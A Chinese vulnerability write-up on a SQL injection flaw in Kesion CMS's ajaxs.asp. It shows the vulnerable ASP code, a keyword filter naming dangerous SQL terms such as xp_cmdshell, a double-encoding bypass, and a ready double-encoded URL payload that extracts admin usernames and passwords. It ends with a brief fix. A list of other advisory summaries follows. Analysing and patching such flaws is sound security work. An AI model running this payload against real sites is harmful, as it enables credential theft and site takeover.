Kesion cms注入漏洞分析及其修复方案

所属分类: 网络安全 / 漏洞分析 阅读数: 2051
收藏 0 赞 0 分享
函数过滤混乱导致注入

复制代码
代码如下:

Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //问题函数
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函数开始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close

 先进行了过滤,然后才调用UnEscape解码,
 
复制代码
代码如下:

Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function

 如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句:%') union select 1,2,username+'|'+ password from KS_Admin
 转换如下:
 /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 修复方案:
UnEscape()函数调用位置放在函数体内,或者不调用。
更多精彩内容其他人还在看

AOL Radio MediaPlaybackControl 控件栈溢出漏洞

受影响系统: AOL AmpX.dll 2.6.1.11 不受影响系统: AOL AmpX.dll 2.6.2.6 描述: AOL的AmpX ActiveX控件是AOL Radio使用的用于播放网页中音频流的控件。 AmpX.dll所提供的
收藏 0 赞 0 分享

2007年12月网络安全漏洞总结

 声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考   1.2007-12-11 Microsoft消息队列服务栈溢出漏洞   综述:   Microsoft Windows是微软发布的非常流行的操
收藏 0 赞 0 分享

OmniPCX Enterprise存在远程命令注入漏洞

受影响系统: Alcatel-Lucent OmniPCX Enterprise <= 7.1 不受影响系统: Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19 Alcatel-Luc
收藏 0 赞 0 分享

Sun Java jpiexp32.dll对象名称含空指针引用漏洞

受影响系统: Sun JRE < 5.0 Update 14 不受影响系统: Sun JRE 5.0 Update 14 描述: Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。 JRE处理畸
收藏 0 赞 0 分享

InterBase和Firebird远程栈缓冲区溢出漏洞

受影响系统: Borland InterBase WI-V8.1.0.257 Borland InterBase WI-V8.0.0.123 Borland InterBase WI-V7.5.1.80 Borland InterB
收藏 0 赞 0 分享

IE 存在document.open()方式地址欺骗漏洞

受影响系统: Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft
收藏 0 赞 0 分享

Microsoft IE onunload事件地址栏欺骗漏洞

受影响系统: Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Ex
收藏 0 赞 0 分享

F2blog XMLRPC 上传任意文件漏洞

刚从官方下载的最新版:F2blog-v1.2_build_03.01_full 存在漏洞文件:xmlrpc.php, 影响:可上传任意文件到服务器。 原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
收藏 0 赞 0 分享

FTP客户端目录遍历漏洞可向任意位置写文件

FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。 受影
收藏 0 赞 0 分享

Adobe Photoshop Album Starter Edition BMP图形头处理缓冲区溢出漏洞

受影响系统: Adobe Photoshop Album Starter Edition 3.2 描述: ---------------------------------------------------------------------------
收藏 0 赞 0 分享
查看更多